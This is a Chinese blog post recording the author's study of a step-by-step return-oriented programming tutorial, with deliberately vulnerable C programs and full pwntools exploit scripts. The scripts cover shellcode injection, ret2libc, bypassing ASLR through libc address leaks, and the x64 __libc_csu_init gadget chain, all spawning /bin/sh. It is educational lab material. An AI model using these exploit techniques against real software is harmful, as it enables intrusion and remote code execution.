天天育儿网,内容丰富有趣,生活中的好帮手!
天天育儿网 > 蒸米ROP学习记录

蒸米ROP学习记录

时间:2023-12-21 02:48:44

相关推荐

蒸米ROP学习记录

参考链接

语雀的一个大佬的记录:/hxfqg9/bin/zzg02e阿里聚安全写的蒸米rop记录:/a/1190000007406442一步一步学ROP(x86):/6645一步一步学ROP(x64):/6644需要的工具(pattern.py):/zhengmin1989/ROP_STEP_BY_STEP

文章目录

32位简单的栈溢出ret2libc绕过ASLR没有libc x64简单的64位栈溢出寻找gadget通用gadget

32位

简单的栈溢出

level1.c

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulnerable_function(){char buf[128];read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv){vulnerable_function();write(STDOUT_FILENO, "Hello, World\n", 13);}

用如下选项编译:

gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c

-m32意思是编译为32位的程序-fno-stack-protector会关掉Stack Protector-z execstack会关掉DEP

发现缺少库文件

输入下面命令安装32位库

sudo apt-get install libc6-dev-i386

关闭随机化(需要在root权限下)

echo 0 > /proc/sys/kernel/randomize_va_space

sudo passwd可以改root密码,然后su root切换到root输入上面命令。

检查level二进制的安全保护机制

checksec level1

先装一下peda。

$ git clone /longld/peda.git ~/peda$ echo "source ~/peda/peda.py" >> ~/.gdbinit

用gdb调试level

gdb level1

用peda自带的脚本生成点数据。

pattern create 150

按r运行,在输入之前生成的字符串。可以发现发生了段错误。这里的意思是说,本来的返回地址0x416d4141被我们输入的字符串给覆盖了。

pattern offset 0x41416d41计算偏移

然而用gdb调试,会影响buf的实际地址。因此解决方法是开启一个core dump的功能:

ulimit -c unlimitedsudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

然后我们运行真实程序,可以有提示(core dumped)

用gdb调试。

查看寄存器x/10s $esp-144,找到ret地址。之前用gdb调试在当前文件夹的core出来的地址,不知道为什么一直无法正常利用。用了这个命令后才正常。sudo sh -c ‘echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’。留在以后解决吧,暂时感觉对栈溢出的利用不太相关。

最后exp:

from pwn import *p = process('./level1')ret = 0xffffcfa0shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode += "\x0b\xcd\x80"payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)p.send(payload)p.interactive()

最后结果:

ret2libc

gcc编译,去掉栈可执行这一选项。

gcc -m32 -fno-stack-protector -o level2 level1.c

检查一下level2二进制的安全机制,可以看到NX是enabled的状态

关掉ASLR 后 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 “/bin/sh” 这个字符串,并且这个字符串的地址也是固定的,所以可以通过gdb找到system和/bin/sh的地址,实现ret2libc。

首先用gdb ./level2调试

我们首先在main函数上下一个断点:b main

然后输入r执行程序,这时libc已经加载到内存中了。然后可以通过print system命令找到system函数在内存中的位置。

用find命令找到"/bin/sh"字符串的位置。

所以我们找到了这两个地址:

system地址:0xf7e3ddb0

/bin/sh地址:0xf7f5eb0b

所以exp脚本如下,ret地址是执行完这个shell后再从ret地址跳到别的地方去,由于后续不需要别的操作,ret地址就随便填个。

from pwn import *p = process('./level2')ret = 0xdeadbeefsystemaddr = 0xf7e3ddb0binshaddr = 0xf7f5eb0bpayload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)p.send(payload)p.interactive()

最后结果如下:

绕过ASLR

切换到root开启随机化

echo 2 > /proc/sys/kernel/randomize_va_space

可以看到每次加载动态库的地址都不一样了。

一个解决方法是先泄漏出 libc.so 某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出 system() 函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的 ret2libc 的 shellcode 就可以了

先把程序用到的libc文件拷贝到当前目录

cp /lib/i386-linux-gnu/libc.so.6 libc.so

这样当前目录下就多了一个libc.so文件

使用:objdump -d -j .plt level2查看可以利用的函数

使用objdump -R level2查看对应GOT表

因为system()和write()在libc.so的相对地址是不变的,只要知道write的地址,并且知道他们的相对偏移,就可以推出system的地址。exp如下:

from pwn import *libc = ELF('libc.so')elf = ELF('level2')p = process('./level2')plt_write = elf.symbols['write']got_write = elf.got['write']vulfun_addr = 0x0804843bpayload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)p.send(payload1)write_addr = u32(p.recv(4))system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)p.send(payload2)p.interactive()

vulfun_addr可用objdump -d level2来找到漏洞函数的地址。

exp的思路是先利用栈溢出漏洞泄露write函数的地址,然后用write函数的地址减去libc里write和system的偏移,就可以得到system的地址。同理也可以得到/bin/sh字符串的地址。最后结果如下:

没有libc

做题的时候有可能,不知道究竟用的是什么libc版本。这时候就需要使用libcsearcher了。使用libc searcher的exp如下:

#!/usr/bin/env pythonfrom pwn import *from LibcSearcher import *elf = ELF('level2')p = process('./level2')#p = remote('127.0.0.1', 10003)plt_write = elf.symbols['write']print 'plt_write= ' + hex(plt_write)got_write = elf.got['write']print 'got_write= ' + hex(got_write)vulfun_addr = 0x0804843bprint 'vulfun= ' + hex(vulfun_addr)payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)print "\n###sending payload1 ...###"p.send(payload1)print "\n###receving write() addr...###"write_addr = u32(p.recv(4))print 'write_addr=' + hex(write_addr)libc = LibcSearcher("write",write_addr)libc_base = write_addr - libc.dump("write")print "\n###calculating system() addr and \"/bin/sh\" addr...###"system_addr = libc_base + libc.dump("system")print 'system_addr= ' + hex(system_addr)binsh_addr = libc_base + libc.dump("str_bin_sh")print 'binsh_addr= ' + hex(binsh_addr)payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)print "\n###sending payload2 ...###"p.send(payload2)p.interactive()

可能遇到如下问题:

Multi Results:0: archive-old-glibc (id libc6_2.21-0ubuntu4.3_i386)1: archive-glibc (id libc6_2.23-0ubuntu3_i386)Please supply more info using add_condition(leaked_func, leaked_address).You can choose it by handOr type 'exit' to quit:1

可以参考链接解决:/qq_40026795/article/details/107150265

libc searcher的基本用法

libc=LibcSearcher('write',write_addr)#基于已泄露的write地址求出libc版本libcbase=write_addr-libc.dump("write")#求偏移地址system_addr=libcbase+libc.dump("system")#用基址偏移加上system的偏移得出system的地址binsh_addr=libcbase+libc.dump("str_bin_sh")#使用基址加上 /bin/sh 字符串的偏移,得到 /bin/sh 的实际地址

最后利用成功:

x64

简单的64位栈溢出

64位和32位的一个很大差别在于参数的存放地方。x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上。

漏洞代码:level3.c

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void callsystem(){system("/bin/sh");}void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) {write(STDOUT_FILENO, "Hello, World\n", 13);vulnerable_function();}

开启ASLR,按以下命令编译:

gcc -fno-stack-protector level3.c -o level3

gdb调试找到溢出点

gdb level3

输入r运行程序,再输入一堆很长的字符让程序溢出。然后查看寄存器rsp的值

并用pattern.py计算偏移。

exp代码:

from pwn import *p=process('./level3')sys_addr=0x0000000004005B6pay='a'*136+p64(sys_addr)p.sendline(pay)p.interactive()

最后结果:

寻找gadget

由于 x64 的参数前几个都存在寄存器上,所以需要找一些pop rdi ;ret之类的 gadget。

level4.c的源码

#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <dlfcn.h>void systemaddr(){void* handle = dlopen("libc.so.6", RTLD_LAZY);printf("%p\n",dlsym(handle,"system"));fflush(stdout);}void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) {systemaddr();write(1, "Hello, World\n", 13);vulnerable_function();}

这个程序打印了system的地址,所以我们需要考虑/bin/sh的地址,但由于参数是存在寄存器中的,所以需要一个pop rdi ; ret的gadget。由于这个程序太小,我们去libc.so里去找gadget。

找gadget的工具有:

ROPEME: /packz/ropemeRopper: /sashs/RopperROPgadget: /JonathanSalwan/ROPgadget/tree/masterrp++: /0vercl0k/rp

我们就用一个简单的ROPgadget来找。

首先用ldd level4找到level4用的共享库。

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi

出来结果如下:

exp如下:

from pwn import *from LibcSearcher import *p=process('./level4')elf=ELF('./level4')sys_addr=p.recvuntil('\n') #终端获取system的地址sys_addr=int(sys_addr,16)libc=LibcSearcher('system',sys_addr)#获取libc版本pop_ret_offset=0x0000000000021112-libc.dump('system')#获取pop_ret gadget到system的偏移pop_ret_addr=pop_ret_offset+sys_addr#基于偏移获取到pop-ret gadget的地址libc_base=sys_addr-libc.dump('system')bin_sh=libc_base+libc.dump('str_bin_sh')payload='a'*136+p64(pop_ret_addr)+p64(bin_sh)+p64(sys_addr)p.sendline(payload)p.interactive()

利用成功:

通用gadget

level5.c

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) {write(STDOUT_FILENO, "Hello, World\n", 13);vulnerable_function();}

这部分主要介绍的是如何针对一个没有辅助函数的64位程序来进行利用。【这部分基本没搞懂=_=】

漏洞代码level5.c

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) {write(STDOUT_FILENO, "Hello, World\n", 13);vulnerable_function();}

这个函数有一个栈溢出漏洞,和前面类似,也是先泄露内存信息,找到system()的值,然后传递“/bin/sh”到bss段,最后调用system(“/bin/sh”)。程序中有write函数,所以可以用write来输出write.got的地址,从而计算出libc.so在内存中的地址。但由于是64位,参数都保存在寄存器上,而且没有pop rdi ; ret,pop rsi ; ret的gadget。蒸米rop告诉我们x64下的__libc_csu_init()函数有万能的gadget可以用。

00000000004005a0 <__libc_csu_init>:4005a0: 48 89 6c 24 d8mov %rbp,-0x28(%rsp)4005a5: 4c 89 64 24 e0mov %r12,-0x20(%rsp)4005aa: 48 8d 2d 73 08 20 00 lea 0x73(%rip),%rbp # 600e24 <__init_array_end>4005b1: 4c 8d 25 6c 08 20 00 lea 0x6c(%rip),%r12 # 600e24 <__init_array_end>4005b8: 4c 89 6c 24 e8mov %r13,-0x18(%rsp)4005bd: 4c 89 74 24 f0mov %r14,-0x10(%rsp)4005c2: 4c 89 7c 24 f8mov %r15,-0x8(%rsp)4005c7: 48 89 5c 24 d0mov %rbx,-0x30(%rsp)4005cc: 48 83 ec 38 sub $0x38,%rsp4005d0: 4c 29 e5sub %r12,%rbp4005d3: 41 89 fdmov %edi,%r13d4005d6: 49 89 f6mov %rsi,%r144005d9: 48 c1 fd 03 sar $0x3,%rbp4005dd: 49 89 d7mov %rdx,%r154005e0: e8 1b fe ff ffcallq 400400 <_init>4005e5: 48 85 edtest %rbp,%rbp4005e8: 74 1c je400606 <__libc_csu_init+0x66>4005ea: 31 db xor %ebx,%ebx4005ec: 0f 1f 40 00 nopl 0x0(%rax)4005f0: 4c 89 famov %r15,%rdx4005f3: 4c 89 f6mov %r14,%rsi4005f6: 44 89 efmov %r13d,%edi4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)4005fd: 48 83 c3 01 add $0x1,%rbx400601: 48 39 ebcmp %rbp,%rbx400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>400606: 48 8b 5c 24 08mov 0x8(%rsp),%rbx40060b: 48 8b 6c 24 10mov 0x10(%rsp),%rbp400610: 4c 8b 64 24 18mov 0x18(%rsp),%r12400615: 4c 8b 6c 24 20mov 0x20(%rsp),%r1340061a: 4c 8b 74 24 28mov 0x28(%rsp),%r1440061f: 4c 8b 7c 24 30mov 0x30(%rsp),%r15400624: 48 83 c4 38 add $0x38,%rsp400628: c3 retq

可以看到400606处的代码控制了rbx,rbp,r12,r13,r14,r15的值,然后再利用4005f0的代码将r15的值赋给rdx,r14的值赋给rsi,r13的值赋给edi,随后调用一个call。之后,rbx+=1,然后对比rbp和rdx的值,相等往下执行,并ret到别的地方去。于是为了让rbp和rbx的值相等,由于之前已经将rbx的值设为0了,所以可以将rbp的值设置为1。

构造payload1,利用write()输出write在内存中的地址。【看上面的思路感觉懂了,看代码就懵逼了==】

#rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4)payload1 = "\x00"*136payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload1 += "\x00"*56payload1 += p64(main)

当获取到write在内存中的地址后,就可以计算处system()在内存中的地址。接着构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。【这部分也是懵逼的==】

#rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16)payload2 = "\x00"*136payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload2 += "\x00"*56payload2 += p64(main)

接着利用payload3来调用system()函数执行"/bin/sh",由于system()地址保存在了.bss段首地址上,"/bin/sh"的地址保存在了.bss段首地址+8字节上。【感觉这三个都差不多,弄懂一个就全通了,但是我没懂…,先放着,看看后面会不会遇到什么顿悟吧==】

#rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh")payload3 = "\x00"*136payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload3 += "\x00"*56payload3 += p64(main)

最终exp

from pwn import *elf = ELF('level5')libc = ELF('libc.so.6')p = process('./level5')#p = remote('127.0.0.1',10001)got_write = elf.got['write']print "got_write: " + hex(got_write)got_read = elf.got['read']print "got_read: " + hex(got_read)main = 0x400564off_system_addr = libc.symbols['write'] - libc.symbols['system']print "off_system_addr: " + hex(off_system_addr)#rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4)payload1 = "\x00"*136payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload1 += "\x00"*56payload1 += p64(main)p.recvuntil("Hello, World\n")print "\n#############sending payload1#############\n"p.send(payload1)sleep(1)write_addr = u64(p.recv(8))print "write_addr: " + hex(write_addr)system_addr = write_addr - off_system_addrprint "system_addr: " + hex(system_addr)bss_addr=0x601028p.recvuntil("Hello, World\n")#rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16)payload2 = "\x00"*136payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload2 += "\x00"*56payload2 += p64(main)print "\n#############sending payload2#############\n"p.send(payload2)sleep(1)p.send(p64(system_addr))p.send("/bin/sh\0")sleep(1)p.recvuntil("Hello, World\n")#rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh")payload3 = "\x00"*136payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload3 += "\x00"*56payload3 += p64(main)print "\n#############sending payload3#############\n"sleep(1)p.send(payload3)p.interactive()

如果觉得《蒸米ROP学习记录》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。